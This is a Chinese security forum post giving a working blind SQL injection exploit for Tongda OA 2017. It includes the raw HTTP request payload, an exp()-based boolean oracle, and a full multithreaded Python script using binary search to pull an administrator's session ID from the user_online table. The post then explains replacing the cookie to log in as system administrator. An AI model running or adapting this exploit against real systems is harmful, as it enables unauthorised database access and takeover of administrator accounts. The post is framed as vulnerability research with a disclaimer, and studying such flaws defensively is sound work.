安全矩阵

 找回密码
 立即注册
搜索
查看: 3989|回复: 0

多线程+二分法的巧用——通达OA SQL盲注

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-8-25 10:00:58 | 显示全部楼层 |阅读模式
多线程+二分法的巧用——通达OA SQL盲注
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1
漏洞利用
记一次通达OA的SQL盲注注入利用,获取管理员session id,并登录后台。且poc脚本中加入多线程+二分法从而提高利用效率。
测试版本:通达2017
先上payload
  1. POST http://127.0.0.1:8088//general/document/index.php/recv/register/insert HTTP/1.1
  2. Host: 127.0.0.1:8088
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. Connection: close
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 76


  9. title)values("'"^exp(if(ascii(substr(user(),1,1))%3d114,1,710)))# =1&_SERVER=
复制代码
该漏洞为mysql bool盲注。
exp(if(ascii(substr(user(),1,1))=114,1,710))
此时会去判断user()第一位的ascii码是否为114,既"r"。如果为真,则响应码返回302。如果为假,则返回500。
ascii("r")=114。exp()函数遇到>709的数,就会报错。(该环境下,user()为"root")

尝试user()第一位的ascii码为114,既"r",返回302,说明为真

尝试user()第一位的ascii码为113,返回500,说明为假

尝试user()第一位的ascii码为115,返回500,说明为假

尝试user()第一位的ascii码为116,返回500,说明为假
  1. exp(if(ascii(substr(user(),1,1))=114,1,710)   302
  2. exp(if(ascii(substr(user(),2,1))=111,1,710)   302
  3. exp(if(ascii(substr(user(),3,1))=111,1,710)   302
  4. exp(if(ascii(substr(user(),4,1))=116,1,710)   302
  5. 既user() = "root"
复制代码
并且通过注入发现
  1. # database_length = 5
  2. # database_name = "td_oa"
  3. # user() = "root"
复制代码
No.2
获取session 长度
通过查看源码,发现user_online表的SID字段中保存了用户的session ID。于是乎可以通过sql注入去获取session,从而登录oa系统。

然后通过http响应包或者注入测试,判断session id的长度。
构造payload
title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))>1,1,710)))# =1&_SERVER=


获取第26、27位的ascii码,是否大于1
exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))>1,1,710))  302
exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),1,1))>1,1,710))  500
26为真,27为假。
http响应包中的Set-Cookie: PHPSESSID=ubg6abuvrjhr79q55bodlia3s2; PHPSESSID长度也为26。
说明session长度为26。
No.3
获取完整session id
利用for 循环去获取session id即可。
exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{第几个用户},1),{session的第几位值},1))={ascill值},1,710)))
如果只单独使用多线程或者二分法,会导致消耗资源过多或者耗时较久。所以为了加快效率,本次使用了多线程+二分法
完整脚本如下:
  1. import requests

  2. import _thread

  3. import time

  4. requests.packages.urllib3.disable_warnings()



  5. UNAME_length = 26

  6. USERUID = []



  7. header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',"Content-Type":"application/x-www-form-urlencoded",'Connection':'close'}

  8. proxies = {'http': '127.0.0.1:8080','https': '127.0.0.1:8080'}



  9. def get_url(url,num,uid):

  10.     global UNAME_length

  11.     global USERUID



  12.     litgh = 48

  13.     right = 120

  14.     tmp = 0

  15.     while litgh <= right:

  16.         mid = int((litgh+right)/2)

  17.         if tmp == mid:

  18.             break

  19.         else: tmp = mid

  20.         flag = run_payload(url,uid,num,mid)

  21.         if flag:

  22.             litgh = mid

  23.         else:

  24.             right = mid

  25.     USERUID[num-1] = chr(mid)

  26.     print("session: ",num,chr(mid))



  27. def run_payload(url,uid,num,mid):

  28.     try:

  29.         payload =f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""

  30.         req = requests.post(url, headers=header, proxies=proxies,data=payload,verify=False,timeout=20,allow_redirects=False)

  31.         if req.status_code == 302:

  32.             return True

  33.         elif req.status_code == 500:

  34.             return False

  35.         elif req.status_code != 500:

  36.             return run_payload(url,uid,num,mid)

  37.     except Exception as e:

  38.         return run_payload(url,uid,num,mid)



  39. def get_uname(url,uid):

  40.     USERUID.clear()

  41.     [USERUID.append("") for one in range(0,UNAME_length)]

  42.     for num in range(1,UNAME_length+1):

  43.         _thread.start_new_thread(get_url, (url,num,uid,)) # 多线程



  44.     tmp = 0

  45.     while 1: # 等待跑完26位session id



  46.         flag = 0

  47.         for num in range(0,len(USERUID)):

  48.             if USERUID[num] != '':

  49.                 flag += 1

  50.         uname = ""

  51.         for num in range(0,len(USERUID)):

  52.             uname += str(USERUID[num])

  53.         if flag != tmp:

  54.             print(f"已完成: {flag}/{UNAME_length}  SID:{uname}  {USERUID} ")



  55.         tmp = flag

  56.         if flag == UNAME_length:

  57.             break

  58.     time.sleep(0.5)

  59.     return uname



  60. def main(url):

  61.     url += "/general/document/index.php/recv/register/insert"

  62.     print(url)

  63.     uid=1 # 获取第几个用户的session

  64.     uname = get_uname(url,uid-1)

  65.     print("UNAME = ",uname)



  66. url="http://www.xxx.com/"

  67. main(url)
复制代码
No.4
登录后台

利用脚本跑出session id,然后替换cookie后,访问http://www.xxx.com/general/

发现成功登录,且用户为系统管理员。
招聘

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:50 , Processed in 0.013275 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表